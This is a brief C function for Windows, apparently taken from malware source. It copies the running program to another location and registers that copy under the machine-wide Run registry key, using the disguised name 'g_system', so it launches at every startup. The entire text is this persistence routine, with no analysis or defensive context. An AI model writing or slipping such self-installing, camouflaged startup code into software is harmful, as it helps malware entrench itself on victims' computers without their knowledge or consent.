inline void register_inject()
{
HKEY hKey;
char szModuleFileName[260];
GetModuleFileName(NULL, szModuleFileName, 260);
CopyFile(szModuleFileName, FILE_EXE_DIRECTORY, FALSE);
RegCreateKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hKey);
RegSetValueEx(hKey, "g_system", 0, REG_SZ, (LPBYTE)FILE_EXE_DIRECTORY, strlen(FILE_EXE_DIRECTORY));
RegCloseKey(hKey);
}